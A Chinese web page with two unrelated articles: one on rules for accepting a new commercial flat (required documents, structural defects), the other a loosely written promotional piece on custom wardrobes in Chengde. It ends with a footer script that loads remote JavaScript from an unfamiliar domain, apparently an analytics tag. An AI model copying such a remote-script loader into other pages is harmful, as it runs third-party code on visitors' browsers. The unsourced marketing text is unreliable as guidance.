商品房收房注意事项的条例法规要点

商品房收房相关条例法规规定，商品房买卖，两种情况下业主可以拒收房子。情况之一是“四大件”不齐全。一是《建筑工程竣工备案表》，该文件包括：工程基本情况;勘察、设计、施工、监理单位意见;包括工程竣工验收报告等文件在内的竣工验收备案文件清单等。二是《住宅质量保证书》，是房地产开发企业对所售商品房承担质量责任的法律文件，其中应当列明工程质量监督单位核验的质量等级、保修范围等内容。三是《住宅使用说明书》，应当对住宅的结构、性能和各部位、部件的类型、性能、标准等做出说明，并提出使用注意事项。四是“实测数据报告”，开发商要向业主出示已取得国家认可的专业测绘单位对住房面积的实测数据和公摊面积报告。情况之二是房屋主体有问题。因为开发商在交房时都取得了竣工合格备案表，所以开发商会以此为由抗辩客户提出的房屋主体结构质量问题。但是商品房销售管理办法中规定，客户有权自行委托有关部门对房屋的结构质量进行鉴定。根据有关规定，因房屋主体结构质量不合格不能交付使用，或者房屋交付使用后，房屋主体结构质量经核验确属不合格，买房人请求解除合同和赔偿损失的，应予支持。

如何让一个新人快速熟悉承德定做衣柜的流程

承德定做衣柜在目前的形势下，还是一个比较热门的行业，但是很多刚入门的新人，其实并不能理解应该如何选购和制作，所以说，这就成了一件令人困惑的事情，那么今天为了能够更好的帮助用户了解其操作的流程，接下来就简单的了解下承德定做衣柜的过程是什么吧。一、确定装修风格购买承德定做衣柜的时候，第一步是确定您自己的装修风格，并了解卧室的大小，功能，大小和类型。目前，市场上有多种衣柜，如中式，法式，现代式等。您购买的衣橱需要符合整体装修风格，毕竟风格都是根据居家情况进行考量标准的，如果设计的衣柜与家装风格千差万别，那么就会显得有些突兀，所以说，在选择装修风格的时候，如果不确定，可以先咨询相关专业人员，接受一些专业性的建议，这样也能更好的帮助大家，当装修风格确定后，如选择的范围就会缩小，那么这就很容易选择到适合您的衣橱了。二、根据房间用户选择衣柜承德定做衣柜厂家，建议大家给老人选择衣柜的时候，尽量不要选择太高的，因为他们的腿和脚不方便。他们并不总是蹲下或弯曲。定制的衣柜应妥善设计并安排在适当的高度。应选择儿童衣橱。一个较高位置的衣柜，以防止儿童拉扯时受到挤压；成年人应该增加悬挂空间，以便经常更换衣物。三、注意衣柜材质考虑到每个房间的衣柜类购买衣柜，承德定做衣柜在选择材质的时候，应注意环保板材等级，边缘平整度，硬件耐用性等三个因素。承德定做衣柜在选择产品类型的时候，除了需要考虑质量之外，还需要特别注重一些细节上的施工，以及用户人群等，为了符合当下的使用需求，应该尽可能的做好正确的处理工作，希望大家能够重视下承德定做衣柜的相关事宜。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();